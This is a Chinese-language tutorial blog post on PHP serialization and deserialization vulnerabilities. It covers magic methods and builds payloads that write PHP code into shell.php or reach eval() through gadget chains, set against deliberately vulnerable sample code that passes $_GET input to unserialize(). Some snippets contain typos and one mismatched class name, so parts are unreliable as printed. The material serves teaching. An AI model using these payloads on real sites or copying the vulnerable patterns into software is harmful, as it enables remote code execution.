Contents
  1. 1. 前言
  2. 2. 正文
    1. 2.1. 简介
    2. 2.2. serialize()
    3. 2.3. unserialize()
    4. 2.4. 反序列化漏洞
      1. 2.4.1. 利用场景
      2. 2.4.2. 其他Magic function的利用
      3. 2.4.3. 利用普通成员方法

前言

打算考研了,没时间学习这些知识了,只能抽时间总结一下。

正文

参考链接

序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。

PHP中的两个函数,序列化函数serialize()和反序列化函数unserialize()

简介

**serialize()**——将PHP中的变量如对象(Object)、数组(Array)等序列化为字符串.

**unserialize()**——将序列化的字符串转换为原先的值.

PHP手册上的说明:

想要将已序列化的字符串变回 PHP 的值,可使用 unserialize()。serialize() 可处理除了 resource 之外的任何类型。甚至可以 serialize() 那些包含了指向其自身引用的数组。serialize() 的数组/对象中的引用也将被存储。

当序列化对象时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的,当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数。

详情可以查看PHP手册

serialize()

当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。测试代码如下:

1
2
3
4
5
6
7
8
9
<?php
class specter{
var $test='123';
}

$class1=new specter();
$class1_serialize=serialize($class1);
print_r($class1_serialize);
?>

这样就可以把specter这个对象给序列化,然后打印出来

O:7:”specter”:1:{s:4:”test”;s:3:”123”;}

然后介绍一下格式以及意义:

O表示对象(Object),如果是数组序列化后,则O变成a(array)

7表示对象有7个字符

specter表示对象名称

1表示有一个值

s表示字符串

4表示字符串长度

unserialize()

与 serialize() 对应的,unserialize()可以从已存储的表示中创建PHP的值,单就本次所关心的环境而言,可以从序列化后的结果中恢复对象(object)。

测试代码:

1
2
3
4
5
6
7
8
9
10
<?php
class specter{
var &test='123';
}
$class2='O:7:"specter":1:{s:4:"test";s:3:"123";}';
print_r(class2);
echo "</br>";
class2_unserialize=unserizlize($class2);
print_r(&class2_unserialize);
?>

输出如下:

O:7:”specter”:1:{s:4:”test”;s:3:”123”;}
specter Object ( [test] => 123 )

反序列化漏洞

由前面可以看出,当传给 unserialize() 的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。

介绍几个magic函数

__construct()
__contstruct()函数被称为构造函数,当实例化类的时候会自动调用该函数

__destruct()
__destruct()函数被称为析构函数,当类结束的时候自动调用该函数

__sleep()
__sleep()函数是当php进行序列化操作(serialize)的时候自动调用该函数,可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。

__wakeup()
__wakeup()函数是当php进行反序列化操作(unserialize)的时候自动调用该函数

__toString()
__toString()函数是当对象被当做字符串的时候会自动调用该函数

测试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class specter{
var $test='123';
function __wakeup(){
echo "__wakeup";
echo "</br>";
}
function __construct(){
echo "__construct";
echo "</br>";
}
function __destruct(){
echo "__destruct";
echo "</br>";
}
}
$class2='O:7:"specter":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "</br>";

$class2_unserialize=unserialize($class2);
print_r($class2_unserialize);
echo "</br>";
?>

AURJ4H.png

利用场景

由上图可以看到,unserialize()后会导致__wakeup()
或__destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在__wakeup()
或__destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。这里针对 __wakeup()
场景做个实验。创建一个空的文件shell.php,假设服务器index.php源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class specter{
var $test = '123';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class3 = $_GET['test'];
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);
require "shell.php";
// 为显示效果,把这个shell.php包含进来
?>

把test的赋值为<?php phpinfo(); ?>,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class specter{
var $test = '<?php phpinfo(); ?>';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}

$class4 = new specter();
$class4_ser = serialize($class4);
print_r($class4_ser);
?>

得到

O:7:”specter”:1:{s:4:”test”;s:19:””;}

构造payload:

O:7:”specter”:1:{s:4:”test”;s:19:”“;}

AUhhrt.png

可以看出利用成功,shell.php中也写入了test的值.

AUhIVf.png

再看一个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//index.php
<?php
class Specter{
public $a;
function __construct(){
$this->a=new A(); //this是一个A类对象
}
function __destruct(){
$this->a->action(); //将会执行A类的action()
}
}
class A{
function action(){
echo 'hello world';
}
}
class B{
var $b;
function action(){
eval($this->b);
}
}
unserialize($_GET['value']);
?>

这里面也涉及到一个命令执行函数**eval()**,上面的代码执行反序列化之后,会调用__destruct函数,输出hello world,那么我该如何构造我们的反序列化语句呢。

我们需要利用B类的action()函数,只要使变量b是我们的php命令,通过eval函数,就可以执行这个命令了。

构造序列化如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Specter{
public $a;
function __construct(){
$this->a=new B(); //将变量a等于B类对象,从而调用B累的action
}
}
class B{
var $b='phpinfo();'; //使b等于我们的命令
function action(){
eval($this->b);
}
}
$specter=new Specter();
print_r(serialize($specter))
?>

输出payload:O:7:"Specter":1:{s:1:"a";O:1:"B":1:{s:1:"b";s:10:"phpinfo();";}}

VSJ5QJ.png

其他Magic function的利用

但如果一次unserialize()中并不会直接调用的魔术函数,比如前面提到的__construct(),是不是就没有利用价值呢?非也。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class test1{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class test2{
var $test = '123';
function __wakeup(){
$obj = new test1($this->test);
}
}
$class5 = $_GET['test'];
print_r($class5);
echo "</br>";
$class5_unser = unserialize($class5);
require "shell.php";
?>

这里我们给test传入构造好的序列化字符串后,进行反序列化时自动调用 __wakeup()函数,从而在new test1()会自动调用对象test1中的__construct()方法,从而把<?php phpinfo() ?>写入到 shell.php中。

AU5mXn.png

利用普通成员方法

前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php 
class Test1{
var $test1;
function __construct(){
$this->test1 = new Test2();
}

function __destruct(){
$this->test1->action();
}
}
class Test2{
function action(){
echo "Test2";
}
}
class Test3{
var $test3;
function action(){
eval($this->test3);
}
}
$test = new Test1();
unserialize($_GET['test']);
?>

test=new Test1(),会执行__construct(),然后又new了一个Test2(),执行完后,又会执行__destruct(),在调用action(),输出Test2.

构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Test1{
var $test1;
function __construct(){
$this->test1 = new Test3();
}
}

class Test3{
var $test3 = "phpinfo();";
}
$t_ser=serialize(new Test1());
print_r($t_ser);
?>

得到payload:

O:5:”Test1”:1:{s:5:”test1”;O:5:”Test2”:1:{s:5:”test3”;s:10:”phpinfo();”;}}

还看到一篇关于[session反序列化的(https://blog.csdn.net/nzjdsds/article/details/82703639)

参考1

参考2

Contents
  1. 1. 前言
  2. 2. 正文
    1. 2.1. 简介
    2. 2.2. serialize()
    3. 2.3. unserialize()
    4. 2.4. 反序列化漏洞
      1. 2.4.1. 利用场景
      2. 2.4.2. 其他Magic function的利用
      3. 2.4.3. 利用普通成员方法